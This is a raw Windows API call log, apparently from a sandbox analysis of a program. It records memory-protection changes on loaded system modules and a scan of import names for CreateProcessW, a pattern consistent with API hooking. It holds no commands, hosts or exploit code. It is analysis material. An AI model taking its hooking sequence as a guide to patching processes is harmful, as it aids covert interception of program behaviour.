lpAddress=0x758913d4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x20) returned 1 [0064.508] VirtualProtect (in: lpAddress=0x758913d4, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x40) returned 1 [0064.508] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e7c8 [0064.508] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76d60000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x76d60000, AllocationBase=0x76d60000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.508] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.508] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e7c8 [0064.508] VirtualProtect (in: lpAddress=0x76d614d4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x20) returned 1 [0064.576] VirtualProtect (in: lpAddress=0x76d614d4, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x40) returned 1 [0064.576] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e800 [0064.577] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76650000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x76650000, AllocationBase=0x76650000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.577] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.577] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e800 [0064.577] VirtualProtect (in: lpAddress=0x766511e4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x20) returned 1 [0064.686] VirtualProtect (in: lpAddress=0x766511e4, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x40) returned 1 [0064.687] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e838 [0064.687] VirtualProtect (in: lpAddress=0x76651270, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x20) returned 1 [0064.687] VirtualProtect (in: lpAddress=0x76651270, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x40) returned 1 [0064.687] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e870 [0064.687] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x756b0000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x756b0000, AllocationBase=0x756b0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.687] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.687] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e870 [0064.688] VirtualProtect (in: lpAddress=0x756b17cc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x20) returned 1 [0064.745] VirtualProtect (in: lpAddress=0x756b17cc, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x40) returned 1 [0064.745] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e8a8 [0064.745] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x768e0000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x768e0000, AllocationBase=0x768e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.745] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.746] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e8a8 [0064.746] VirtualProtect (in: lpAddress=0x768e1230, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x20) returned 1 [0064.791] VirtualProtect (in: lpAddress=0x768e1230, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x40) returned 1 [0064.791] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76590000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x76590000, AllocationBase=0x76590000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.791] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.791] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e8e0 [0064.792] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74f30000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x74f30000, AllocationBase=0x74f30000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.792] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.792] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e8e0 [0064.792] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x752c0000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x752c0000, AllocationBase=0x752c0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.792] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.792] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e8e0 [0064.792] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75140000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x75140000, AllocationBase=0x75140000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.792] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.792] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e8e0 [0064.792] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76b30000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x76b30000, AllocationBase=0x76b30000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.792] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.792] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e8e0 [0064.792] VirtualProtect (in: lpAddress=0x76b31168, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x20) returned 1 [0064.831] VirtualProtect (in: lpAddress=0x76b31168, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x40) returned 1 [0064.832] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e918 [0064.832] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74d40000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x74d40000, AllocationBase=0x74d40000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.832] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.832] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e918 [0064.832] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74d00000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x74d00000, AllocationBase=0x74d00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.832] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.832] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e918 [0064.832] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74ce0000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x74ce0000, AllocationBase=0x74ce0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.832] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.832] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e918 [0064.832] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74cb0000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x74cb0000, AllocationBase=0x74cb0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.832] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.833] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e918 [0064.833] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74c20000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x74c20000, AllocationBase=0x74c20000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.833] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.833] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e918 [0064.833] lstrcmpiA (lpString1="RtlUnwind", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="NtQueryInformationProcess", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="AllocateAndInitializeSid", lpString2="CreateProcessW") returned -1 [0064.834] lstrcmpiA (lpString1="RegOpenKeyExA", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="RegQueryValueExA", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="RegCreateKeyExW", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="RegSetValueExW", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="FreeSid", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="CheckTokenMembership", lpString2="CreateProcessW") returned -1 [0064.834] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="RegOpenCurrentUser", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="RegQueryValueW", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="RegCreateKeyW", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="SetDIBits", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="CreatePatternBrush", lpString2="CreateProcessW") returned -1 [0064.834] lstrcmpiA (lpString1="GetDIBits", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="GetTextExtentPointW", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="GetStockObject", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="DeleteObject", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="CreateRectRgn", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="SetWindowOrgEx", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="OffsetWindowOrgEx", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="CreateFontIndirectW", lpString2="CreateProcessW") returned -1 [0064.834] lstrcmpiA (lpString1="GetObjectW", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="GetDeviceCaps", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="DeleteDC", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="BitBlt", lpString2="CreateProcessW") returned -1 [0064.834] lstrcmpiA (lpString1="SetLayout", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="SelectObject", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="CreateCompatibleBitmap", lpString2="CreateProcessW") returned -1 [0064.834] lstrcmpiA (lpString1="CreateCompatibleDC", lpString2="CreateProcessW") returned -1 [0064.834] lstrcmpiA (lpString1="StretchDIBits", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="CreateDIBSection", lpString2="CreateProcessW") returned -1 [0064.834] lstrcmpiA (lpString1="TranslateCharsetInfo", lpString2="CreateProcessW") returned 1 [0064.834] lstrcmpiA (lpString1="ExtTextOutW", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="GetTextMetricsW", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="CreateHalftonePalette", lpString2="CreateProcessW") returned -1 [0064.835] lstrcmpiA (lpString1="CreatePalette", lpString2="CreateProcessW") returned -1 [0064.835] lstrcmpiA (lpString1="GetDIBColorTable", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="GetTextExtentPoint32W", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="RealizePalette", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="SelectPalette", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="UnrealizeObject", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="StretchBlt", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="SetTextColor", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="SetBkColor", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="SetBkMode", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="SetBrushOrgEx", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="GetDCOrgEx", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="EnumFontFamiliesExW", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="PatBlt", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="CreateSolidBrush", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="GetNearestColor", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="SetTextAlign", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="GetTextAlign", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="RestoreDC", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="IntersectClipRect", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="SaveDC", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="RectVisible", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="Polyline", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="CreatePen", lpString2="CreateProcessW") returned -1 [0064.835] lstrcmpiA (lpString1="CreateBitmapIndirect", lpString2="CreateProcessW") returned -1 [0064.835] lstrcmpiA (lpString1="GetLayout", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="CreateBitmap", lpString2="CreateProcessW") returned -1 [0064.835] lstrcmpiA (lpString1="TextOutW", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="CreateFontW", lpString2="CreateProcessW") returned -1 [0064.835] lstrcmpiA (lpString1="GetClipBox", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="Arc", lpString2="CreateProcessW") returned -1 [0064.835] lstrcmpiA (lpString1="SelectClipRgn", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="Rectangle", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="Ellipse", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="LineTo", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="MoveToEx", lpString2="CreateProcessW") returned 1 [0064.835] lstrcmpiA (lpString1="GetBitmapBits", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetCurrentObject", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="CombineRgn", lpString2="CreateProcessW") returned -1 [0064.836] lstrcmpiA (lpString1="CreatePolygonRgn", lpString2="CreateProcessW") returned -1 [0064.836] lstrcmpiA (lpString1="CreateRoundRectRgn", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="FrameRgn", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="FillRgn", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetCharWidthW", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetBkColor", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetPixel", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="CreateRectRgnIndirect", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetTextColor", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="ExcludeClipRect", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetClipRgn", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="OffsetRgn", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetTextCharsetInfo", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetCharWidthA", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetTextExtentPointA", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="ExtTextOutA", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetWindowExtEx", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetViewportExtEx", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="ExtSelectClipRgn", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetPaletteEntries", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="SetPixelV", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="SetPixel", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="SetDIBColorTable", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="WriteFile", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="FlushFileBuffers", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="HeapAlloc", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetProcessHeap", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="HeapFree", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="FreeLibrary", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="lstrcmpiW", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="lstrcmpiA", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="lstrlenW", lpString2="CreateProcessW") returned 1 [0064.836] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="LocalAlloc", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="LocalReAlloc", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="LocalSize", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="HeapReAlloc", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="CloseHandle", lpString2="CreateProcessW") returned -1 [0064.837] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="MulDiv", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="InterlockedIncrement", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="InterlockedDecrement", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="FreeResource", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="GlobalFree", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="GlobalAlloc", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="LockResource", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="LoadResource", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="FindResourceW", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="lstrlenA", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessW") returned -1 [0064.837] lstrcmpiA (lpString1="SizeofResource", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="lstrcmpW", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="EnumResourceLanguagesW", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="FindResourceExW", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="FindResourceExA", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="GetThreadLocale", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="GetNumberFormatW", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="InterlockedExchange", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="GlobalAddAtomW", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="QueryActCtxW", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="ActivateActCtx", lpString2="CreateProcessW") returned -1 [0064.837] lstrcmpiA (lpString1="DeactivateActCtx", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="CreateProcessW") returned 1 [0064.837] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="GetACP", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="lstrcmpA", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="CompareStringW", lpString2="CreateProcessW") returned -1 [0064.838] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="Sleep", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="GetUserDefaultLangID", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="GetDateFormatW", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="EnumCalendarInfoW", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="GetStringTypeExW", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="GetLocalTime", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="GetTimeFormatW", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="SetEvent", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="CreateThread", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="CreateEventW", lpString2="CreateProcessW") returned -1 [0064.838] lstrcmpiA (lpString1="InterlockedCompareExchange", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="MapViewOfFile", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="CreateProcessW") returned -1 [0064.838] lstrcmpiA (lpString1="GetFileSize", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessW") returned -1 [0064.838] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="GlobalReAlloc", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="GetCommandLineA", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="GetVersionExA", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessW") returned 1 